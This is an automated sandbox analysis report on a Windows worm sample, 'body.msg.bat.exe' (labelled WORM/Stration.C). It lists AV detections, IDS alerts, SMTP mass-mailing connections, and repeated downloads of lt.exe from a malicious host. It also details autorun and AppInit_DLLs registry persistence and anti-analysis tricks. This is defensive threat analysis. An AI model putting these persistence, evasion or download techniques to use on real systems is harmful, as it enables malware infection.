Edit tour

Windows Analysis Report
body.msg.bat.exe

Overview

General Information

Sample name:	body.msg.bat.exe
Analysis ID:	1581289
MD5:	191d90ba8ed8b74590a812bebe8117a0
SHA1:	5b787d4687cbbb9be414b7c109da0b9479815dcf
SHA256:	49bf50560f43e88fdb63f3ebbde7d008cd7d6e880e9275538903d9678a6e4967
Tags:	exeuser-TeamDreier
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Contains functionality to inject threads in other processes

Creates an undocumented autostart registry key

Detected PE file pumping (to bypass AV & sandboxing)

Drops executables to the windows directory (C:\Windows) and starts them

Machine Learning detection for dropped file

Machine Learning detection for sample

Tries to detect virtualization through RDTSC time measurements

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Extensive use of GetProcAddress (often used to hide API calls)

Found evasive API chain (may stop execution after checking a module file name)

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Sigma detected: Wow6432Node Windows NT CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

body.msg.bat.exe (PID: 7376 cmdline: "C:\Users\user\Desktop\body.msg.bat.exe" MD5: 191D90BA8ED8B74590A812BEBE8117A0)

tserv.exe (PID: 7456 cmdline: C:\Windows\tserv.exe s MD5: 191D90BA8ED8B74590A812BEBE8117A0)

notepad.exe (PID: 7480 cmdline: C:\Windows\System32\notepad.exe C:\Users\user\Desktop\2631.tmp MD5: E92D3A824A0578A50D2DD81B5060145F)

tserv.exe (PID: 7876 cmdline: "C:\Windows\tserv.exe" s MD5: 191D90BA8ED8B74590A812BEBE8117A0)

cleanup

Sigma Signatures

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DesusertionIp: 98.136.96.76, DesusertionIsIpv6: false, DesusertionPort: 25, EventID: 3, Image: C:\Windows\tserv.exe, Initiated: true, ProcessId: 7456, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\tserv.exe s, EventID: 13, EventType: SetValue, Image: C:\Windows\tserv.exe, ProcessId: 7456, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\tserv

Sigma detected: Wow6432Node Windows NT CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: msji449c14b7.dll, EventID: 13, EventType: SetValue, Image: C:\Windows\tserv.exe, ProcessId: 7456, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

Suricata Signatures

ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:29:31.716846+0100	2016998	1	A Network Trojan was detected	192.168.2.9	49708	193.166.255.171	80	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:29:53.764767+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	49708	193.166.255.171	80	TCP
2024-12-27T10:30:15.561931+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	49712	193.166.255.171	80	TCP
2024-12-27T10:30:15.961830+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	49713	193.166.255.171	80	TCP
2024-12-27T10:30:37.844580+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	49717	193.166.255.171	80	TCP
2024-12-27T10:30:38.291189+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	49718	193.166.255.171	80	TCP
2024-12-27T10:31:00.166826+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	49722	193.166.255.171	80	TCP
2024-12-27T10:31:00.463550+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	49723	193.166.255.171	80	TCP
2024-12-27T10:31:22.282599+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	49727	193.166.255.171	80	TCP
2024-12-27T10:31:22.579898+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	49728	193.166.255.171	80	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:29:53.764767+0100	2803305	3	Unknown Traffic	192.168.2.9	49708	193.166.255.171	80	TCP
2024-12-27T10:30:15.561931+0100	2803305	3	Unknown Traffic	192.168.2.9	49712	193.166.255.171	80	TCP
2024-12-27T10:30:15.961830+0100	2803305	3	Unknown Traffic	192.168.2.9	49713	193.166.255.171	80	TCP
2024-12-27T10:30:37.844580+0100	2803305	3	Unknown Traffic	192.168.2.9	49717	193.166.255.171	80	TCP
2024-12-27T10:30:38.291189+0100	2803305	3	Unknown Traffic	192.168.2.9	49718	193.166.255.171	80	TCP
2024-12-27T10:31:00.166826+0100	2803305	3	Unknown Traffic	192.168.2.9	49722	193.166.255.171	80	TCP
2024-12-27T10:31:00.463550+0100	2803305	3	Unknown Traffic	192.168.2.9	49723	193.166.255.171	80	TCP
2024-12-27T10:31:22.282599+0100	2803305	3	Unknown Traffic	192.168.2.9	49727	193.166.255.171	80	TCP
2024-12-27T10:31:22.579898+0100	2803305	3	Unknown Traffic	192.168.2.9	49728	193.166.255.171	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: body.msg.bat.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Windows\tserv.exe

Avira: detection malicious, Label: WORM/Stration.C

Multi AV Scanner detection for dropped file

Source: C:\Windows\tserv.exe	ReversingLabs: Detection: 94%
Source: C:\Windows\tserv.exe	Virustotal: Detection: 86%			Perma Link

Multi AV Scanner detection for submitted file

Source: body.msg.bat.exe	Virustotal: Detection: 86%			Perma Link
Source: body.msg.bat.exe	ReversingLabs: Detection: 94%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 95.1% probability

Machine Learning detection for dropped file

Source: C:\Windows\tserv.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: body.msg.bat.exe

Joe Sandbox ML: detected

Source: body.msg.bat.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_00406360 GetFileAttributesA,lstrcpyA,lstrcatA,lstrcatA,FindFirstFileA,GetLastError,lstrcmpA,lstrcmpA,lstrcmpA,lstrcpyA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,FindNextFileA,FindClose,

1_2_00406360

Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com

Source: Joe Sandbox View	IP Address: 67.195.204.79 67.195.204.79
Source: Joe Sandbox View	IP Address: 193.166.255.171 193.166.255.171
Source: Joe Sandbox View	IP Address: 67.195.228.110 67.195.228.110

Source: Network traffic	Suricata IDS: 2016998 - Severity 1 - ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host) : 192.168.2.9:49708 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49708 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:49708 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49727 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:49727 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49712 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:49712 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49718 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49728 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:49718 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:49728 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49713 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:49713 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49717 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:49717 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49723 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:49723 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49722 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:49722 -> 193.166.255.171:80

Source: global traffic	TCP traffic: 192.168.2.9:49706 -> 98.136.96.76:25
Source: global traffic	TCP traffic: 192.168.2.9:49710 -> 67.195.204.79:25
Source: global traffic	TCP traffic: 192.168.2.9:49715 -> 67.195.228.110:25
Source: global traffic	TCP traffic: 192.168.2.9:49719 -> 142.250.157.26:25
Source: global traffic	TCP traffic: 192.168.2.9:49725 -> 108.177.98.27:25

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com

Source: global traffic	DNS traffic detected: DNS query: yahoo.com
Source: global traffic	DNS traffic detected: DNS query: mta5.am0.yahoodns.net
Source: global traffic	DNS traffic detected: DNS query: mta6.am0.yahoodns.net
Source: global traffic	DNS traffic detected: DNS query: mta7.am0.yahoodns.net
Source: global traffic	DNS traffic detected: DNS query: www4.cedesunjerinkas.com
Source: global traffic	DNS traffic detected: DNS query: gmail.com
Source: global traffic	DNS traffic detected: DNS query: alt4.gmail-smtp-in.l.google.com
Source: global traffic	DNS traffic detected: DNS query: alt1.gmail-smtp-in.l.google.com
Source: global traffic	DNS traffic detected: DNS query: alt2.gmail-smtp-in.l.google.com
Source: global traffic	DNS traffic detected: DNS query: gmail-smtp-in.l.google.com
Source: global traffic	DNS traffic detected: DNS query: alt3.gmail-smtp-in.l.google.com

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_00423D83: QueryDosDeviceA,lstrcpyA,lstrcatA,GetLastError,lstrcpyA,lstrcatA,DefineDosDeviceA,GetLastError,lstrcpyA,lstrcatA,CreateFileA,DeviceIoControl,GetLastError,GetLastError,DefineDosDeviceA,GetLastError,

1_2_00423D83

Source: C:\Users\user\Desktop\body.msg.bat.exe	File created: C:\Windows\tserv.exe			Jump to behavior
Source: C:\Users\user\Desktop\body.msg.bat.exe	File created: C:\Windows\tserv.exe\:Zone.Identifier:$DATA			Jump to behavior

Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00411800	1_2_00411800
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_004108D0	1_2_004108D0
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0040C8E0	1_2_0040C8E0
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0040F0E9	1_2_0040F0E9
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00410907	1_2_00410907
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00404110	1_2_00404110
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00409119	1_2_00409119
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0040F1C7	1_2_0040F1C7
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0040C1D0	1_2_0040C1D0
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00404990	1_2_00404990
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_004091A7	1_2_004091A7
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0040E246	1_2_0040E246
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00428A08	1_2_00428A08
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00425214	1_2_00425214
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00405310	1_2_00405310
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00408BC0	1_2_00408BC0
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00415BD0	1_2_00415BD0
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0041B3D0	1_2_0041B3D0
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0040DBF0	1_2_0040DBF0
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0041E3A0	1_2_0041E3A0
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00409436	1_2_00409436
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00409CF7	1_2_00409CF7
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0041BD00	1_2_0041BD00
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0040EDE0	1_2_0040EDE0
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0040DE56	1_2_0040DE56
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0041C660	1_2_0041C660
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00410670	1_2_00410670
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0040E676	1_2_0040E676
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00409F47	1_2_00409F47
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0040EF78	1_2_0040EF78
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0040FF30	1_2_0040FF30
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00405F30	1_2_00405F30

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: String function: 0042664C appears 45 times

Source: body.msg.bat.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.evad.winEXE@6/3@11/7

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_004047A0 lstrcatA,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,

1_2_004047A0

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_00405090 GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcatA,GetFileAttributesA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

1_2_00405090

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_0041E0B0 FindResourceA,LoadResource,SizeofResource,LockResource,CreateFileA,WriteFile,CloseHandle,

1_2_0041E0B0

Source: C:\Users\user\Desktop\body.msg.bat.exe

File created: C:\Users\user\Desktop\2631.tmp

Jump to behavior

Source: C:\Windows\tserv.exe

Mutant created: NULL

Source: body.msg.bat.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\body.msg.bat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: body.msg.bat.exe	Virustotal: Detection: 86%
Source: body.msg.bat.exe	ReversingLabs: Detection: 94%

Source: C:\Users\user\Desktop\body.msg.bat.exe

File read: C:\Users\user\Desktop\body.msg.bat.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\body.msg.bat.exe "C:\Users\user\Desktop\body.msg.bat.exe"
Source: C:\Users\user\Desktop\body.msg.bat.exe	Process created: C:\Windows\tserv.exe C:\Windows\tserv.exe s
Source: C:\Users\user\Desktop\body.msg.bat.exe	Process created: C:\Windows\SysWOW64\notepad.exe C:\Windows\System32\notepad.exe C:\Users\user\Desktop\2631.tmp
Source: unknown	Process created: C:\Windows\tserv.exe "C:\Windows\tserv.exe" s
Source: C:\Users\user\Desktop\body.msg.bat.exe	Process created: C:\Windows\tserv.exe C:\Windows\tserv.exe s	Jump to behavior
Source: C:\Users\user\Desktop\body.msg.bat.exe	Process created: C:\Windows\SysWOW64\notepad.exe C:\Windows\System32\notepad.exe C:\Users\user\Desktop\2631.tmp	Jump to behavior

Source: C:\Users\user\Desktop\body.msg.bat.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\body.msg.bat.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Users\user\Desktop\body.msg.bat.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: efswrt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Windows\SysWOW64\notepad.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{11659a23-5884-4d1b-9cf6-67d6f4f90b36}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\body.msg.bat.exe

Code function: 1_2_0041F660 LoadLibraryA,GetProcAddress,SetWindowsHookExA,

1_2_0041F660

Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_0042647C push eax; ret	1_2_0042649A
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_004254B0 push eax; ret	1_2_004254C4
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_004254B0 push eax; ret	1_2_004254EC
Source: C:\Users\user\Desktop\body.msg.bat.exe	Code function: 1_2_00426687 push ecx; ret	1_2_00426697

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\body.msg.bat.exe

Executable created and started: C:\Windows\tserv.exe

Jump to behavior

Source: C:\Users\user\Desktop\body.msg.bat.exe

File created: C:\Windows\tserv.exe

Jump to dropped file

Source: C:\Users\user\Desktop\body.msg.bat.exe

File created: C:\Windows\tserv.exe

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Windows\tserv.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows AppInit_DLLs

Jump to behavior

